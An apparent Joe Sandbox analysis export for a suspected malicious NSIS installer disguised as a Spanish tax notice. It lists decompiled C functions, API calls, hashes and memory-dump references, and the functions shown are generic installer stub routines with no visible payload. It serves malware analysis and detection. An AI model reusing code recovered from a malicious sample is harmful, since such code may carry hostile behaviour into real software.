Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 6465c28e5c943a4eb7eb01deaa6dcd84e082ef29e74d6367337f5043b789c329
Instruction ID: 77761fc61529e842a28ee3ca09cff7144389c8643cc82091ff338806125a9860
Opcode Fuzzy Hash: 6465c28e5c943a4eb7eb01deaa6dcd84e082ef29e74d6367337f5043b789c329
Instruction Fuzzy Hash: 9121C1B1948209AEEF05AFA5CE4AABE7BB4EF84308F14443EF502F61D0D7B84541DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00405BDB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BDB(WCHAR* _a4) {
				WCHAR* _t5;
				short* _t7;
				WCHAR* _t10;
				short _t11;
				WCHAR* _t12;
				void* _t14;

				_t12 = _a4;
				_t10 = CharNextW(_t12);
				_t5 = CharNextW(_t10);
				_t11 =  *_t12;
				if(_t11 == 0 ||  *_t10 != 0x3a || _t10[1] != 0x5c) {
					if(_t11 != 0x5c || _t12[1] != _t11) {
						L10:
						return 0;
					} else {
						_t14 = 2;
						while(1) {
							_t14 = _t14 - 1;
							_t7 = E00405B5D(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 2;
							if(_t14 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextW(_t5);
				}
			}

0x00405be4
0x00405beb
0x00405bee
0x00405bf0
0x00405bf6
0x00405c0e
0x00405c30
0x00000000
0x00405c16
0x00405c18
0x00405c19
0x00405c1c
0x00405c1d
0x00405c26
0x00000000
0x00000000
0x00405c29
0x00405c2c
0x00000000
0x00000000
0x00000000
0x00405c2c
0x00000000
0x00405c19
0x00405c05
0x00000000
0x00405c06

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,00405C4F,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405BE9
CharNextW.USER32(00000000), ref: 00405BEE
CharNextW.USER32(00000000), ref: 00405C06

Strings

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 00405BDC

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp
API String ID: 3213498283-2075911909
Opcode ID: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
Instruction ID: 1410c8af8588119ed7c7bec0a33194e6879e2746ee2e5cb83f2c5ed70d44d846
Opcode Fuzzy Hash: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
Instruction Fuzzy Hash: 26F09022918B2D95FF3177584C55E7766B8EB55760B00803BE641B72C0D3F85C818EAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405B30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405B30(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405b31
0x00405b3e
0x00405b3f
0x00405b4a
0x00405b52
0x00405b52
0x00405b5a

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040333D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 00405B36
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040333D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 00405B40
lstrcatW.KERNEL32(?,0040A014), ref: 00405B52

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B30

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction ID: 96ba7b99f7925edb235d18d004fc1fe51c5fb87b1b333c4bf7b8a2937e57358f
Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction Fuzzy Hash: 44D05E21101924AAC1117B448C04EDF72ACAE45344342007AF241B30A1CB78295286FD

Uniqueness

Uniqueness Score: -1.00%

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402D2A(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				short _v532;
				void* _t19;
				signed int _t26;
				intOrPtr* _t28;
				signed int _t33;
				signed int _t34;
				signed int _t35;

				_t34 = _a12;
				_t35 = _t34 & 0x00000300;
				_t33 = _t34 & 0x00000001;
				_t19 = E004060CC(__eflags, _a4, _a8, _t35 | 0x00000008,  &_v8);
				if(_t19 == 0) {
					while(RegEnumKeyW(_v8, 0,  &_v532, 0x105) == 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							RegCloseKey(_v8);
							return 1;
						}
						_t26 = E00402D2A(__eflags, _v8,  &_v532, _a12);
						__eflags = _t26;
						if(_t26 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t28 = E00406639("true");
					if(_t28 == 0) {
						return RegDeleteKeyW(_a4, _a8);
					}
					return  *_t28(_a4, _a8, _t35, 0);
				}
				return _t19;
			}

0x00402d35
0x00402d3e
0x00402d47
0x00402d53
0x00402d5a
0x00402d7e
0x00402d64
0x00402d66
0x00402db9
0x00000000
0x00402dc1
0x00402d75
0x00402d7a
0x00402d7c
0x00000000
0x00000000
0x00402d7c
0x00402d98
0x00402da0
0x00402da7
0x00000000
0x00402dca
0x00000000
0x00402db2
0x00402dd4

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D98
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB9

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction ID: 13ce92619e22af03a8d5f803c99d3fa2c3d1cb872fac5522cbaad6f830247a1d
Opcode Fuzzy Hash: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction Fuzzy Hash: 94116A32540509FBEF129F90CE09BEE7B69EF58350F110036B905B60E0E7B5DE21AB68

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5D Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E5D(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x7976d8; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x7a8a30;
						if(_t2 >  *0x7a8a30) {
							_t3 = CreateDialogParamW( *0x7a8a20, 0x6f, 0, E00402DD7, 0);
							 *0x7976d8 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406675(0);
					}
				} else {
					_t6 =  *0x7976d8; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x7976d8 = 0;
					return _t6;
				}
			}

0x00402e64
0x00402e7e
0x00402e84
0x00402e8e
0x00402e94
0x00402e9a
0x00402eab
0x00402eb4
0x00000000
0x00402eb9
0x00402ec0
0x00402e86
0x00402e8d
0x00402e8d
0x00402e66
0x00402e66
0x00402e6d
0x00402e70
0x00402e70
0x00402e76
0x00402e7d
0x00402e7d

APIs

DestroyWindow.USER32(00000000,00000000,0040303D,00000001,?,00000006,00000008,0000000A), ref: 00402E70
GetTickCount.KERNEL32 ref: 00402E8E
CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EAB
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402EB9

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: fb346d16a057b98ea5efc0227cce21c5f766e4cb6d5f8b71d3ef2c60fce90910
Instruction ID: 7afe0c5cdde3553510745d2e994aff72f2021582eecc7c7a9da0eee8c5fdd21f
Opcode Fuzzy Hash: fb346d16a057b98ea5efc0227cce21c5f766e4cb6d5f8b71d3ef2c60fce90910
Instruction Fuzzy Hash: B3F05E30966A21EBC6616B24FE8C99B7B64AB44B41B15887BF041B11B8DA784891CBDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405C38(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040625F(0x7a4728, _a4);
				_t21 = E00405BDB(0x7a4728);
				if(_t21 != 0) {
					E004064F3(_t21);
					if(( *0x7a8a3c & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x7a4728 >> 1;
						while(1) {
							_t11 = lstrlenW(0x7a4728);
							_push(0x7a4728);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E004065A2();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405B7C(0x7a4728);
								continue;
							} else {
								goto L1;
							}
						}
						E00405B30();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405c44
0x00405c4f
0x00405c53
0x00405c5a
0x00405c66
0x00405c76
0x00405c78
0x00405c90
0x00405c91
0x00405c98
0x00405c99
0x00000000
0x00000000
0x00405c7c
0x00405c83
0x00405c8b
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c83
0x00405c9b
0x00000000
0x00405caf
0x00405c68
0x00405c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c6e
0x00405c55
0x00000000

APIs

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Geoduck Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

Part of subcall function 00405BDB: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,00405C4F,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405BE9
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405BEE
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405C06

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405C91
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420), ref: 00405CA1

Strings

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 00405C3E, 00405C43, 00405C49, 00405C8A, 00405C90, 00405C98, 00405CA0

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp
API String ID: 3248276644-2075911909
Opcode ID: 2fc0a06e40463135d25c9bc8da77120e69662948dae603a13584a31230773222
Instruction ID: 07588a96ba491492048338639ced47dd8f75e02a3aa2c86f807570fea5ede87b
Opcode Fuzzy Hash: 2fc0a06e40463135d25c9bc8da77120e69662948dae603a13584a31230773222
Instruction Fuzzy Hash: 3FF0D125008F1115E72233361D49EAF2664CE96360B1A023FF952B12D1DB3C99939C6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405237 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405237(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x7a1f0c != _t16) {
							_push(_t16);
							_push(6);
							 *0x7a1f0c = _t16;
							E00404C0D();
						}
						L11:
						return CallWindowProcW( *0x7a1f14, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404B8D(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404240(0x413);
				return 0;
			}

0x0040523b
0x00405245
0x00405261
0x00405283
0x00405286
0x0040528c
0x00405296
0x00405297
0x00405299
0x0040529f
0x0040529f
0x004052a9
0x00000000
0x004052b7
0x0040526e
0x004052a6
0x004052a6
0x00000000
0x004052a6
0x0040527a
0x0040527c
0x00000000
0x0040527c
0x0040524b
0x00000000
0x00000000
0x00405252
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405266
CallWindowProcW.USER32(?,?,?,?), ref: 004052B7

Part of subcall function 00404240: SendMessageW.USER32(000103CA,00000000,00000000,00000000), ref: 00404252

Strings

, xrefs: 00405247

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 03dbe0d26460962354df2622affe4a7f19e46f8d18e7fde011b494353cd470c5
Instruction ID: 5e04443d83733b215e2c60cf409d87083b19ce8acf9f2344b17a5e906d0b9b78
Opcode Fuzzy Hash: 03dbe0d26460962354df2622affe4a7f19e46f8d18e7fde011b494353cd470c5
Instruction Fuzzy Hash: E7017C31500608AFEF209F52DD81AAB3725EF95755F10407FFA00B61D0D73E9C919E69

Uniqueness

Uniqueness Score: -1.00%

Function 004038D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038D8() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x79fee4; // 0xb807b8
				_t3 = E004038BD(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						_t1 = _t6 + 8; // 0x10000000
						FreeLibrary( *_t1);
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x79fee4 =  *0x79fee4 & 0x00000000;
				return _t3;
			}

0x004038d9
0x004038e1
0x004038e8
0x004038eb
0x004038eb
0x004038ed
0x004038ef
0x004038f2
0x004038f9
0x004038ff
0x00403903
0x00403904
0x0040390c

APIs

FreeLibrary.KERNEL32(10000000,C:\Users\user\AppData\Local\Temp\,00000000,757F3420,004038B0,004036C6,00000006,?,00000006,00000008,0000000A), ref: 004038F2
GlobalFree.KERNEL32(00B807B8), ref: 004038F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038EA

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
